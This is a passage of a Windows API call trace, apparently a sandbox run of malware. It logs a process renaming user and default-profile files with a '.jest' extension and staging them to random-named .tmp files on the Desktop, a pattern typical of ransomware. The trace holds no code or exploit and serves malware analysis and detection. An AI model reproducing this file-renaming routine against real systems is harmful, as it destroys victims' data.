[0129.948] SetLastError (dwErrCode=0x2) [0129.949] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.949] CoFreeUnusedLibraries () [0129.949] GetTickCount () returned 0x1152e61 [0129.949] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.949] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.949] GetTickCount () returned 0x1152e61 [0129.949] IsWindowVisible (hWnd=0x30268) returned 0 [0129.949] Sleep (dwMilliseconds=0x0) [0129.981] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.jest")) returned 1 [0129.983] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpFilePart=0x18e6d8*="Roses.jpg") returned 0x4a [0129.983] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.983] GetLastError () returned 0x2 [0129.983] VarBstrFromR4 (in: fltIn=0x479446e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.79") returned 0x0 [0129.984] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.984] CoFreeUnusedLibraries () [0129.984] GetTickCount () returned 0x1152e80 [0129.984] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.984] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.984] GetTickCount () returned 0x1152e80 [0129.984] IsWindowVisible (hWnd=0x30268) returned 0 [0129.984] Sleep (dwMilliseconds=0x0) [0129.984] GetFullPathNameA (in: lpFileName="8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp", lpFilePart=0x18e708*="8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp") returned 0x8e [0129.985] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpFilePart=0x18e708*="Roses.jpg") returned 0x4a [0129.985] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8z-5hkvof2icduzqhbnkksinezb83tmlqwdpswh2fle5eu0fnldzekxbw_qv4k_cfctgskjotqtexzm3tya_dhglokqvbzsah5rn.tmp")) returned 0 [0129.985] GetLastError () returned 0x2 [0129.985] GetLastError () returned 0x2 [0129.985] SetLastError (dwErrCode=0x2) [0129.985] GetLastError () returned 0x2 [0129.985] SetLastError (dwErrCode=0x2) [0129.985] GetLastError () returned 0x2 [0129.986] SetLastError (dwErrCode=0x2) [0129.986] GetFullPathNameA (in: lpFileName="8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp", lpFilePart=0x18e6e4*="8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp") returned 0x8e [0129.986] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Z-5HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x352d5a38, cFileName="HKVOf2IcDuzqhBnkksinEzb83tmLqwDPswH2FlE5Eu0FnLDzeKXbw_qv4k_cfctGSkJotqTExZM3TyA_DHGLOKqVbzSAh5rN.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.986] GetLastError () returned 0x2 [0129.986] GetLastError () returned 0x2 [0129.986] SetLastError (dwErrCode=0x2) [0129.987] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.987] CoFreeUnusedLibraries () [0129.987] GetTickCount () returned 0x1152e80 [0129.987] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.987] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.987] GetTickCount () returned 0x1152e80 [0129.987] IsWindowVisible (hWnd=0x30268) returned 0 [0129.987] Sleep (dwMilliseconds=0x0) [0129.990] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log.jest")) returned 1 [0129.991] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log", lpFilePart=0x18e6d8*="marionette.log") returned 0x66 [0129.991] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3b00003b, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecd0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1d8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.991] GetLastError () returned 0x2 [0129.991] VarBstrFromR4 (in: fltIn=0x479446e7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.8") returned 0x0 [0129.992] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.992] CoFreeUnusedLibraries () [0129.992] GetTickCount () returned 0x1152e90 [0129.992] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.992] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.992] GetTickCount () returned 0x1152e90 [0129.992] IsWindowVisible (hWnd=0x30268) returned 0 [0129.992] Sleep (dwMilliseconds=0x0) [0129.996] GetFullPathNameA (in: lpFileName="sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp", lpFilePart=0x18e708*="sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp") returned 0x8e [0129.996] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log", lpFilePart=0x18e708*="marionette.log") returned 0x66 [0129.997] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sc00lpcb4wusmttiq05flvf_6gm7ghvmn9ejz9hfqjjdosj5ueghrgxjlr0fl_0iitstesz-gze mz4twdk_p6rrl4gklqz0a7zf.tmp")) returned 0 [0129.997] GetLastError () returned 0x2 [0129.997] GetLastError () returned 0x2 [0129.997] SetLastError (dwErrCode=0x2) [0129.997] GetLastError () returned 0x2 [0129.997] SetLastError (dwErrCode=0x2) [0129.997] GetLastError () returned 0x2 [0129.997] SetLastError (dwErrCode=0x2) [0129.998] GetFullPathNameA (in: lpFileName="sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp", lpFilePart=0x18e6e4*="sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp") returned 0x8e [0129.998] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sC00lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x30304373, cFileName="lPCB4wUsMTTIq05FLvF_6gm7ghvMn9ejZ9HfqjjDOsJ5ueGHRGXjLR0fL_0IItStesz-gZe MZ4TwDk_p6rRL4GklqZ0a7Zf.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.998] GetLastError () returned 0x2 [0129.998] GetLastError () returned 0x2 [0129.998] SetLastError (dwErrCode=0x2) [0129.999] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.999] CoFreeUnusedLibraries () [0129.999] GetTickCount () returned 0x1152e90 [0129.999] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.999] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.999] GetTickCount () returned 0x1152e90 [0129.999] IsWindowVisible (hWnd=0x30268) returned 0 [0129.999] Sleep (dwMilliseconds=0x0) [0130.000] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.jest")) returned 1 [0130.001] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e6d8*="Peacock.jpg") returned 0x4c [0130.001] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.001] GetLastError () returned 0x2 [0130.001] VarBstrFromR4 (in: fltIn=0x479446e7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.8") returned 0x0 [0130.002] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.002] CoFreeUnusedLibraries () [0130.002] GetTickCount () returned 0x1152e90 [0130.002] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.002] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.002] GetTickCount () returned 0x1152e90 [0130.002] IsWindowVisible (hWnd=0x30268) returned 0 [0130.002] Sleep (dwMilliseconds=0x0) [0130.003] GetFullPathNameA (in: lpFileName="WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp", lpFilePart=0x18e708*="WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp") returned 0x8f [0130.003] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpFilePart=0x18e708*="Peacock.jpg") returned 0x4c [0130.004] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wvtnb_dytmh1gzoien s1y wputcz9ubjsvfctvfou7pdbdalytlv_hqi1hnem3zfrw_zuhkrhc_kut-4khfxt0grb ddh5ql lal.tmp")) returned 0 [0130.004] GetLastError () returned 0x2 [0130.004] GetLastError () returned 0x2 [0130.004] SetLastError (dwErrCode=0x2) [0130.004] GetLastError () returned 0x2 [0130.004] SetLastError (dwErrCode=0x2) [0130.004] GetLastError () returned 0x2 [0130.004] SetLastError (dwErrCode=0x2) [0130.004] GetFullPathNameA (in: lpFileName="WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp", lpFilePart=0x18e6e4*="WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp") returned 0x8f [0130.004] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WVtnB_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6e745657, cFileName="B_dytMH1gzOIeN s1Y wPUtCz9ubjSVfctVfOu7PdbdaLYTlV_hqI1hNEM3zFRW_zuHKRHc_kUt-4KhfxT0Grb Ddh5ql LAL.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.005] GetLastError () returned 0x2 [0130.005] GetLastError () returned 0x2 [0130.005] SetLastError (dwErrCode=0x2) [0130.005] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.005] CoFreeUnusedLibraries () [0130.005] GetTickCount () returned 0x1152e9f [0130.005] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.006] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.006] GetTickCount () returned 0x1152e9f [0130.006] IsWindowVisible (hWnd=0x30268) returned 0 [0130.006] Sleep (dwMilliseconds=0x0) [0130.026] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.jest")) returned 1 [0130.027] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpFilePart=0x18e6d8*="Peacock.htm") returned 0x4c [0130.027] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.027] GetLastError () returned 0x2 [0130.027] VarBstrFromR4 (in: fltIn=0x479446eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.84") returned 0x0 [0130.028] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.028] CoFreeUnusedLibraries () [0130.028] GetTickCount () returned 0x1152eaf [0130.028] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.028] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.028] GetTickCount () returned 0x1152eaf [0130.028] IsWindowVisible (hWnd=0x30268) returned 0 [0130.028] Sleep (dwMilliseconds=0x0) [0130.029] GetFullPathNameA (in: lpFileName="bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp", lpFilePart=0x18e708*="bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp") returned 0x8f [0130.029] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpFilePart=0x18e708*="Peacock.htm") returned 0x4c [0130.030] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bk_sivsif pig sx3zudhnpbfbgp8wcljd3tsvw6ruxcppc0fjajopk d-jrjqgsfuzg_gyjiv3sgtf odwozghqj9bomcccgpapp.tmp")) returned 0 [0130.030] GetLastError () returned 0x2 [0130.030] GetLastError () returned 0x2 [0130.030] SetLastError (dwErrCode=0x2) [0130.030] GetLastError () returned 0x2 [0130.030] SetLastError (dwErrCode=0x2) [0130.030] GetLastError () returned 0x2 [0130.030] SetLastError (dwErrCode=0x2) [0130.030] GetFullPathNameA (in: lpFileName="bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf 